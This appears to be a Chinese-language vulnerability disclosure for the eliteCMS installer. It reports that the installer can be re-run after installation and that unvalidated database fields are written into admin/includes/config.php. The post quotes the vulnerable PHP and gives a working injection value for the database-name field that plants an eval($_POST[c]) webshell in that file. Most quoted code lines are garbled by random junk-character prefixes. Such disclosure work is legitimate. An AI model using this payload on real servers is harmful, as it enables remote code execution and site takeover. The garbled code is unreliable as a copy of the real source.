eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

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# w' h3 {. Q: w8 m8 z6 ~elseif ($_GET['step'] == "4") {
4 C, \5 f/ s* ?4 g: }7 @    $file = "../admin/includes/config.php";
% [) m& d. }- Z- z% ~9 a    $write = "<?php\n";
# e1 @  }4 g; M/ W    $write .= "/**\n";
% l! ~: X% A, F" m    $write .= "*\n";
7 l, Y5 a: l/ E$ z5 G    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
4 M  r4 U" A+ `+ F...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
9 j% \( _) D1 {    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
7 l' i9 l# z' d& v) ?    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
0 m$ \6 s+ c5 z# m; N( k5 p    $write .= "        \n";
5 D6 p) L6 s* Z    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
( n7 s8 d/ |" @# E4 h    $write .= "if (!\$db_select) {\n";
3 _+ z) X4 }* H' w% S6 p" F: Y. Q    $write .= "        die(\"Database select failed\" .mysql_error());\n";
: T) P; r1 X& C    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
...
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在看代码：

2 p0 E- a+ t8 W; V$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
! {" s6 S1 j+ @1 D3 G$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
# T% M! M- l! a$ l, g8 l$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
. H' a: n. V+ p  p* V
. z$ l; w0 n8 k5 b5 P/ m6 Q取值未作任何验证
% n1 N! [/ L9 @! l8 M! ?$ c% u0 C如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
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